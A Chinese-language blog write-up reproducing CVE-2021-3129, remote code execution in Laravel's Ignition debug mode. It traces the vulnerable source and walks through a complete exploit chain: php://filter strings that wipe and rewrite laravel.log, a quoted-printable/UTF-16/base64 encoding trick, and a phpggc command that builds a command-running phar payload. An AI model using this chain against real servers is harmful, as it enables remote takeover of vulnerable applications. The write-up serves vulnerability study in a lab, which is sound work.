Laravel Debug mode RCE复现
CVE-2021-3129
Laravel <= 8.4.2
Ignition <= 2.5.1
环境搭建
在kali2020下复现
1 | git clone https://github.com/laravel/laravel.git # 下载laravel源码 |
创建resource/views/hello.blade.php
模板
1 | <html> |
在routes/web.php
中添加路由
1 | Route::get('/hello', function () { |
漏洞原因
在修正未定义变量时存在一处file_get_contents()
和一处file_put_contents()
函数的第一参数可控,且在laravel中我们可以往log文件插入部分可控内容,且我们对log文件具有可写权限,导致我们可以通过把log文件覆写为phar文件,再通过phar反序列化实现命令执行
漏洞分析
调用栈分析
访问新添加的路由/laravel/public/hello
会抛出变量名未定义的错误,出现了一个按钮并提示按样例修改模板
点击Make variable optional
按钮并抓包,发生漏洞的接口就是在/laravel/public/_ignition/execute-solution
这里,可以看到这里传入了viewFile
参数对文件进行操作
通过在源码搜索execute-solution
可以搜索到Web接口,可以看到ExecuteSolutionController
类对象被当成函数调用,所以最终会触发其__invoke()
函数
1 | namespace Facade\Ignition; |
我们跟进一下它的__invoke()
函数,第一步是初始化变量,第二部就是处理参数
1 | namespace Facade\Ignition\Http\Controllers; |
根据run()
函数,我们看到了file_put_contents()
函数的第一个参数可控,我们还得跟进一下makeOptional()
函数
1 | namespace Facade\Ignition\Solutions; |
在这里我们又看到了file_get_contents()
函数第一个参数可控,后面就是修正操作,即为模板中的未定义变量添加一个判断条件
1 | namespace Facade\Ignition\Solutions; |
所以我们可以把上面的代码浓缩为下面两行,简称先读后写
应该有好些不知名CMS都有这么写过
1 | $output = file_get_contents($parameters['viewFile']); |
日志部分可控
另外,我们可以对laravel的日志文件插入部分可控内容,默认目录是storage/logs/laravel.log
比如当我们传入
1 | viewFile: This is the controlled part |
我们可以发现laravel.log
文件中出现了报错信息,其中有两处This is the controlled part
字段,同时还有一处带省略号的(提前警告这是个坑)
1 | [2021-05-27 13:08:30] local.ERROR: file_get_contents(This is the controlled part): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(This is the controlled part): failed to open stream: No such file or directory at xxxxxx\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75) |
它的大体结构如下面所示
1 | [label1] payload [label2] payload [label3] |
php://filter
所以我们的核心问题变成了如何向log文件写入一个合法的phar文件,这里我们需要利用到强大的php://filter
,我们可以利用特别的编码和解码方法来对我们插入的内容进行修改
清空文件
第一个思路是我们可以用base64在解码时会自动丢弃无效字符的方法进行清空,所以按理来说只要我们多次对内容进行base64解码,那么最终就会把所有字符丢弃
1 | php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log |
但是如果文本当中出现'='
字符,base64-decode
会抛出错误导致写入失败
所以**@CHARLES FOL**使用到的是php内置的官方文档未提及的consumed
过滤器,可以直接返回空
1 | php://filter/read=consumed/resource=../storage/logs/laravel.log |
自己尝试了一下如果服务器的php支持zlib
或者bzip2
的话,也可以利用解压失败返回空的性质进行清空
1 | php://filter/read=zlib.inflate/resource=../storage/logs/laravel.log |
写入payload
在php://filter
中有一个很好用的转换过滤器iconv.utf16le.utf-8
,它能够把UTF-16
字符转化为UTF-8
字符,样例如下:
1 | echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt |
1 | php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');" |
既可以传入我们完整的payload,又可以让其他正常字符转为无效字符,之后我们直接base64-decode即可写入payload
为了只留下一个payload字段,我们可以在payload的末尾添加一个byte的字符进行干扰即可,如:
1 | echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt |
1 | php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');" |
相应的限制条件是:
- 保证第一个payload字段前面的字符串长度是
2*n bytes
,不然无法解码出payload - 保证整个字符串的总体长度是
2*n bytes
,不然会抛出以下错误file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence
解决方案:
- 因为日志文件部分内容可控,我们可以把前面的内容刚好填充到
2*n bytes
- 可以用同一种方法,也可以选择把payload复写两次
写入0字节
最后一个问题就是我们无法向日志写入\0
字节,这时候我们又可以用到一个转换过滤器convert.quoted-printable-decode
官方说明
1 quoted_printable_decode ( string $str ) : string该函数返回 quoted-printable 解码之后的 8-bit 字符串 (参考 » RFC2045 的6.7章节,而不是 » RFC2821 的4.5.2章节)
格式
(General 8bit representation) Any octet, except a CR or LF that is part of a CRLF line break of the canonical (standard) form of the data being encoded, may be represented by an “=” followed by a two digit hexadecimal representation of the octet’s value. The digits of the hexadecimal alphabet, for this purpose, are “0123456789ABCDEF”. Uppercase letters must be used; lowercase letters are not allowed. Thus, for example, the decimal value 12 (US-ASCII form feed) can be represented by “=0C”, and the decimal value 61 (US- ASCII EQUAL SIGN) can be represented by “=3D”. This rule must be followed except when the following rules allow an alternative encoding.
简单来说就是将格式为"=<hex>"
的字符串转发为对应ascii的字符串,所以我们可以将空字节编码为"=00"
传入
所以最终我们写入payload方法为
1 | php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log |
生成payload
payload的生成我们可以反序列化工具phpggc
1 | php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' |
漏洞利用
1 | 使用phpggc创建payload,注意这里最后添加了一个'=00',用来屏蔽第二处payload回显 |
坑点
如果传入的是形如
P=00D=009=00w=00...
的payload,倒数第二部有可能会产生quoted-printable-decode
解码错误,原因如下,有一处省略的地方出现了"=0."
字符串导致解码失败,解决方法是将首字符'P'
也进行编码就可以对齐了,懒人方法就是将所有字符进行编码 : >windows下复现失败了,因为是只要在base64的payload中存在
'='
时,使用convert.base64-decode
过滤器会报错返回空针对第二种情况,我们将payload的命令进行填充至无
'='
出现,但是phar协议反序列化时会报phar文件签名错误,大概率是因为phpggc
只能在Linux下使用1
failed to open stream: phar "xxxx\\laravel\\storage\\logs\\laravel.log" has a broken signature"
如果想要在windows复现估计得重新写一个序列化,为了不麻烦自己,还是在跑去虚拟机复现成功了
- 失败的建议多打几次
参考
https://zhuanlan.zhihu.com/p/351363561